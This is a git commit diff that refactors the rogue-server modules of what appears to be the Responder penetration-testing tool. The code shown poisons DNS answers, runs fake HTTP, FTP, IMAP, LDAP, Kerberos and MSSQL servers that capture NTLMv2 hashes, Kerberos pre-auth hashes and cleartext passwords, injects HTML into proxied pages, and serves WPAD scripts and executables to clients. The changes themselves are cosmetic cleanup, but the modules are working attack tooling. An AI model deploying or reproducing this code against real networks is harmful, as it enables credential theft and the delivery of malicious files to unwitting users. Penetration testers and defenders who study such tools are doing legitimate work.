Refactor a bit the servers

This commit is contained in:
jvoisin 2016-07-05 00:55:14 +02:00
parent f2a2ffbe87
commit 8e9205b102
12 changed files with 150 additions and 317 deletions

View file

@ -14,16 +14,13 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
def WorkstationFingerPrint(data): def WorkstationFingerPrint(data):
Role = { return {
"\x04\x00" :"Windows 95", "\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98", "\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME", "\x04\x90" :"Windows ME",
@ -35,12 +32,11 @@ def WorkstationFingerPrint(data):
"\x06\x02" :"Windows 8/Server 2012", "\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2", "\x06\x03" :"Windows 8.1/Server 2012R2",
"\x10\x00" :"Windows 10/Server 2016", "\x10\x00" :"Windows 10/Server 2016",
} }.get(data, 'Unknown')
return Role[data] if data in Role else "Unknown"
def RequestType(data): def RequestType(data):
Type = { return {
"\x01": 'Host Announcement', "\x01": 'Host Announcement',
"\x02": 'Request Announcement', "\x02": 'Request Announcement',
"\x08": 'Browser Election', "\x08": 'Browser Election',
@ -51,30 +47,23 @@ def RequestType(data):
"\x0d": 'Master Announcement', "\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement', "\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement', "\x0f": 'Local Master Announcement',
} }.get(data, 'Unknown')
return Type[data] if data in Type else "Unknown"
def PrintServerName(data, entries): def PrintServerName(data, entries):
if entries > 0: if entries <= 0:
return None
entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
entrieslen = 26*entries l = []
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries for x in ServerName:
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] fingerprint = WorkstationFingerPrint(x[16:18])
name = x[:16].replace('\x00', '')
l.append('%s (%s)' % (name, fingerprint))
return l
l = []
for x in ServerName:
FP = WorkstationFingerPrint(x[16:18])
Name = x[:16].replace('\x00', '')
if FP:
l.append(Name + ' (%s)' % FP)
else:
l.append(Name)
return l
return None
def ParsePacket(Payload): def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0] PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
@ -83,9 +72,8 @@ def ParsePacket(Payload):
if StatusCode == "\x00\x00": if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0] EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum) return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return None
else:
return None
def RAPThisDomain(Client,Domain): def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
@ -100,6 +88,7 @@ def RAPThisDomain(Client,Domain):
if WKST is not None: if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type): def RapFinger(Host, Domain, Type):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -201,7 +190,6 @@ class Browser(BaseRequestHandler):
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0]) ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
except Exception: except Exception:

View file

@ -14,8 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
from packets import DNS_Ans from packets import DNS_Ans
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
@ -24,13 +22,12 @@ def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer. # If Type A, Class IN, then answer.
return True if QueryTypeClass == "\x00\x01\x00\x01" else False return QueryTypeClass == "\x00\x01\x00\x01"
# DNS Server class
class DNS(BaseRequestHandler): class DNS(BaseRequestHandler):
def handle(self): def handle(self):
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True: if RespondToThisIP(self.client_address[0]) is not True:
return None return None
@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
buff.calculate(data) buff.calculate(data)
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception: except Exception:
@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
# DNS Server TCP Class # DNS Server TCP Class
class DNSTCP(BaseRequestHandler): class DNSTCP(BaseRequestHandler):
def handle(self): def handle(self):
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True: if RespondToThisIP(self.client_address[0]) is not True:
return None return None
@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
try: try:
data = self.request.recv(1024) data = self.request.recv(1024)
if ParseDNSType(data) and settings.Config.AnalyzeMode == False: if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(data) buff.calculate(data)
self.request.send(str(buff)) self.request.send(str(buff))

View file

@ -14,8 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
@ -47,7 +45,7 @@ class FTP(BaseRequestHandler):
'client': self.client_address[0], 'client': self.client_address[0],
'user': User, 'user': User,
'cleartext': Pass, 'cleartext': Pass,
'fullhash': User+':'+Pass 'fullhash': User + ':' + Pass
}) })
else: else:

View file

@ -14,12 +14,9 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode, b64encode from base64 import b64decode
from utils import * from utils import *
from packets import NTLM_Challenge from packets import NTLM_Challenge
@ -72,58 +69,52 @@ def ParseHTTPHash(data, client):
'type': 'NTLMv2', 'type': 'NTLMv2',
'client': client, 'client': client,
'host': HostName, 'host': HostName,
'user': Domain+'\\'+User, 'user': Domain + '\\' + User,
'hash': NTHash[:32]+":"+NTHash[32:], 'hash': NTHash[:32] + ":" + NTHash[32:],
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def GrabCookie(data, host): def GrabCookie(data, host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
if Cookie: if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '') Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose: if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie) print text("[HTTP] Cookie : %s " % Cookie)
return Cookie return Cookie
else: return False
return False
def GrabHost(data, host): def GrabHost(data, host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data) Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host: if Host:
Host = Host.group(0).replace('Host: ', '') Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3)) print text("[HTTP] Host : %s " % color(Host, 3))
return Host return Host
else: return False
return False
def GrabReferer(data, host): def GrabReferer(data, host):
Referer = re.search('(Referer:*.\=*)[^\r\n]*', data) Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
if Referer: if Referer:
Referer = Referer.group(0).replace('Referer: ', '') Referer = Referer.group(0).replace('Referer: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Referer : %s " % color(Referer, 3)) print text("[HTTP] Referer : %s " % color(Referer, 3))
return Referer return Referer
else: return False
return False
def WpadCustom(data, client): def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data) Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad: if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
else: return False
return False
def ServeFile(Filename): def ServeFile(Filename):
with open (Filename, "rb") as bk: with open (Filename, "rb") as bk:
data = bk.read() return bk.read()
bk.close()
return data
def RespondWithFile(client, filename, dlname=None): def RespondWithFile(client, filename, dlname=None):
@ -138,9 +129,9 @@ def RespondWithFile(client, filename, dlname=None):
return str(Buffer) return str(Buffer)
def GrabURL(data, host): def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data) GET = re.findall(r'(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data) POST = re.findall(r'(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose: if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
@ -152,11 +143,11 @@ def GrabURL(data, host):
# Handle HTTP packet sequence. # Handle HTTP packet sequence.
def PacketSequence(data, client): def PacketSequence(data, client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\\r]*', data)
# Serve the .exe if needed # Serve the .exe if needed
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the custom HTML if needed # Serve the custom HTML if needed
@ -189,7 +180,6 @@ def PacketSequence(data, client):
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
@ -215,28 +205,23 @@ def PacketSequence(data, client):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
else: else:
if settings.Config.Basic: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client) print text("[HTTP] Sending BASIC authentication request to %s" % client)
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client) print text("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response) return str(Response)
# HTTP Server class # HTTP Server class
class HTTP(BaseRequestHandler): class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
while True: while True:

View file

@ -14,8 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import urlparse import urlparse
import select import select
import zlib import zlib
@ -43,24 +41,20 @@ def InjectData(data, client, req_uri):
return data return data
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if set(RedirectCodes) & set(Headers):
if [s for s in RedirectCodes if s in Headers]:
return data return data
if "content-encoding: gzip" in Headers.lower(): if "content-encoding: gzip" in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
if "content-type: text/html" in Headers.lower(): if "content-type: text/html" in Headers.lower():
if settings.Config.Serve_Html: # Serve the custom HTML if needed
# Serve the custom HTML if needed
if settings.Config.Serve_Html:
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(<body[^>]*>)', Content) HasBody = re.findall(r'(<body[^>]*>)', Content)
if HasBody and len(settings.Config.HtmlToInject) > 2: if HasBody and len(settings.Config.HtmlToInject) > 2:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
@ -71,11 +65,9 @@ def InjectData(data, client, req_uri):
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
data = Headers +'\r\n\r\n'+ Content data = Headers +'\r\n\r\n'+ Content
else: else:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response") print text("[PROXY] Returning unmodified HTTP response")
return data return data
class ProxySock: class ProxySock:
@ -96,19 +88,17 @@ class ProxySock:
def connect(self, address) : def connect(self, address) :
# Store the real remote adress # Store the real remote adress
(self.host, self.port) = address self.host, self.port = address
# Try to connect to the proxy # Try to connect to the proxy
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
self.proxy_host, self.proxy_host,
self.proxy_port, self.proxy_port,
0, 0, socket.SOL_TCP) : 0, 0, socket.SOL_TCP):
try: try:
# Replace the socket by a connection to the proxy # Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto) self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr) self.socket.connect(sockaddr)
except socket.error, msg: except socket.error, msg:
if self.socket: if self.socket:
self.socket.close() self.socket.close()
@ -116,7 +106,7 @@ class ProxySock:
continue continue
break break
if not self.socket : if not self.socket :
raise socket.error, ms raise socket.error, msg
# Ask him to create a tunnel connection to the target host/port # Ask him to create a tunnel connection to the target host/port
self.socket.send( self.socket.send(

View file

@ -14,16 +14,11 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
# IMAP4 Server class
class IMAP(BaseRequestHandler): class IMAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(IMAPGreeting())) self.request.send(str(IMAPGreeting()))
@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
## FIXME: Close connection properly ## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection())) ## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024) ## data = self.request.recv(1024)
except Exception: except Exception:
pass pass

View file

@ -14,10 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
@ -50,8 +46,7 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen] Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
elif HashLen == 54:
if HashLen == 54:
Hash = Data[53:105] Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0] NameLen = struct.unpack('<b',Data[148:149])[0]
@ -60,7 +55,6 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else: else:
Hash = Data[48:100] Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
@ -70,8 +64,7 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else: return False
return False
def ParseMSKerbv5UDP(Data): def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18] MsgType = Data[17:18]
@ -80,7 +73,6 @@ def ParseMSKerbv5UDP(Data):
if MsgType == "\x0a" and EncType == "\x17": if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33": if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0] HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54: if HashLen == 54:
Hash = Data[44:96] Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
@ -90,8 +82,7 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen] Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
elif HashLen == 53:
if HashLen == 53:
Hash = Data[44:95] Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0] NameLen = struct.unpack('<b',Data[143:144])[0]
@ -100,8 +91,6 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen] Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else: else:
Hash = Data[49:101] Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
@ -111,49 +100,39 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen] Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else: return False
return False
class KerbTCP(BaseRequestHandler): class KerbTCP(BaseRequestHandler):
def handle(self): def handle(self):
try: data = self.request.recv(1024)
data = self.request.recv(1024) KerbHash = ParseMSKerbv5TCP(data)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash: if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$') n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({ SaveToDb({
'module': 'KERB', 'module': 'KERB',
'type': 'MSKerbv5', 'type': 'MSKerbv5',
'client': self.client_address[0], 'client': self.client_address[0],
'user': domain+'\\'+name, 'user': domain+'\\'+name,
'hash': h, 'hash': h,
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except Exception:
raise
class KerbUDP(BaseRequestHandler): class KerbUDP(BaseRequestHandler):
def handle(self): def handle(self):
try: data, soc = self.request
data, soc = self.request KerbHash = ParseMSKerbv5UDP(data)
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({ if KerbHash:
'module': 'KERB', (n, krb, v, name, domain, d, h) = KerbHash.split('$')
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except Exception: SaveToDb({
raise 'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})

View file

@ -14,24 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import * from utils import *
def ParseSearch(data): def ParseSearch(data):
Search1 = re.search('(objectClass)', data) if re.search(r'(objectClass)', data):
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2: elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3: elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client): def ParseLDAPHash(data, client):
@ -54,7 +46,7 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0] UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
@ -69,20 +61,15 @@ def ParseLDAPHash(data, client):
print text("[LDAP] Ignoring anonymous NTLM authentication") print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client): def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data) if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge) NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall.calculate() NTLMChall.calculate()
return str(NTLMChall) return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
if Search2:
ParseLDAPHash(data,client) ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client): def ParseLDAPPacket(data, client):
if data[1:2] == '\x84': if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0] PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0] MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10] Operation = data[9:10]
@ -91,7 +78,6 @@ def ParseLDAPPacket(data, client):
LDAPVersion = struct.unpack('<b',data[17:18])[0] LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60": if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0] UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen] UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1] AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@ -99,7 +85,6 @@ def ParseLDAPPacket(data, client):
if AuthHeaderType == "\x80": if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0] PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen] Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'Cleartext', 'type': 'Cleartext',
@ -116,12 +101,9 @@ def ParseLDAPPacket(data, client):
elif Operation == "\x63": elif Operation == "\x63":
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
return Buffer return Buffer
elif settings.Config.Verbose:
else: print text('[LDAP] Operation not supported')
if settings.Config.Verbose:
print text('[LDAP] Operation not supported')
# LDAP Server class
class LDAP(BaseRequestHandler): class LDAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
@ -132,6 +114,5 @@ class LDAP(BaseRequestHandler):
if Buffer: if Buffer:
self.request.send(Buffer) self.request.send(Buffer)
except socket.timeout: except socket.timeout:
pass pass

View file

@ -14,10 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import * from utils import *
@ -54,6 +50,7 @@ class TDS_Login_Packet:
